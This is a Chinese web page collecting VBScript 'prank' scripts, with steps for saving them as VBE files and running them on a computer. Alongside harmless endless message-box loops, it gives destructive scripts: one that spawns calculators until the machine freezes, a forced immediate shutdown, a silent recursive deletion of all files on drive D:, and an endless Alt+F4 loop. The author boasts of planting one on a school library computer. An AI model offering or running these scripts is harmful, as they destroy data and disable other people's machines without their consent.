vbs整人代码怎么用(vbs整人代码)

vbs整人代码怎么用(vbs整人代码)

vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：

一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox You are foolish!

loop

----------------------------------------------------------------------------

二、打开无数个计算器，直到死机

set wsh=createobject wscript.shell

do

wsh.run calc

loop

----------------------------------------------------------------------------

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject wscript.shell

WSHshell.run shutdown -f -s -t 00,0 ,true

---------------------------------------------------------------------------

四、删除D:所有文件

dim WSHshell

set WSHshell = wscript.createobject wscript.shell

WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true

----------------------------------------------------------------------------

五、不断弹出窗口

while 1

msgbox 哈哈 你被耍了！

loop

----------------------------------------------------------------------------

六、不断按下alt+f4 开什么都关闭……

dim WSHshell

set WSHshell = wscript.createobject wscript.shell

while 1

WSHshell.SendKeys %{F4} loop

---------------------------------------------------------------------------

七、按500次回车

以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改

dim s

do until s=500

s=s+1

msgbox 哥们，给我按500次回车吧,64

loop

---------------------------------------------------------------------------

八、关不掉的窗口

WScript.Echo 嘿，谢谢你打开我哦，我等你很久拉！TSName

WScript.Echo 你是可爱的小朋吗? WScript.Echo 哈,我想你拉，这你都不知道吗？

WScript.Echo 怎么才来，说~是不是不关心我 WScript.Echo 哼,我生气拉，等你这么久，心都凉啦。

WScript.Echo 小强很生气，后果很严重哦。 WScript.Echo 嘿嘿！你也会很惨滴哦

WScript.Echo 是不是想清除我？ WScript.Echo 那你要点上50下哦，不过会给你惊喜滴

WScript.Echo 还剩49下，快点点哦 WScript.Echo 还剩48下，快点，小笨蛋！

WScript.Echo 还剩47下对，就这样快点点！ WScript.Echo 还剩46下。你啊就是笨，要快哦，我先不打扰你工作。

WScript.Echo 还剩45下，记得要快哦！ WScript.Echo 还剩43下

WScript.Echo 还剩42下

WScript.Echo 还剩41下 WScript.Echo 还剩40下

WScript.Echo 还剩39下

WScript.Echo 还剩38下 WScript.Echo 还剩37下

WScript.Echo 还剩36下

WScript.Echo 还剩35下 WScript.Echo 还剩34下

WScript.Echo 还剩33下

WScript.Echo 还剩32下 WScript.Echo 还剩30下

WScript.Echo 还剩29下

WScript.Echo 还剩28下 WScript.Echo 还剩27下

WScript.Echo 还剩26下

WScript.Echo 还剩25下 WScript.Echo 还剩24下

WScript.Echo 还剩23下

WScript.Echo 还剩22下 WScript.Echo 还剩21下

WScript.Echo 还剩20下

WScript.Echo 还剩19下 WScript.Echo 还剩18下

WScript.Echo 还剩17下

WScript.Echo 还剩16下 WScript.Echo 还剩15下

WScript.Echo 还剩14下 WScript.Echo 还剩13下停停！！！慢点，我有话要说

WScript.Echo 还剩12下，你继续点我就会消失滴 WScript.Echo 还剩11下，以后就看不到我拉。555555

WScript.Echo 还剩10下，你现在可以选择停止！ WScript.Echo 还剩9下。你还点啊，不要我拉？

WScript.Echo 还剩8下，有点伤心拉，干嘛丢弃人家 WScript.Echo 还剩7下。疯了，你有点负意！

WScript.Echo 还剩6下。对。你就点吧，我恨你！ WScript.Echo 还剩5下，不明白，删除我你就好吗？

WScript.Echo 还剩4下！真要删除我？ WScript.Echo 还剩3下。可是我真的很眷恋你。。。

WScript.Echo 还剩2下。不要这么绝情嘛，人家是爱你的！ WScript.Echo 还剩1下。哼，既然你这么绝情。也别怪我无义！！！ WScript.Echo 我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。

WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次 WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次 WScript.Echo 想结素我么?那你就再多点一次

WScript.Echo 想结素我么?那你就再多点一次

以上就是（vbs整人代码怎么用(vbs整人代码)）全部内容，收藏起来下次访问不迷路！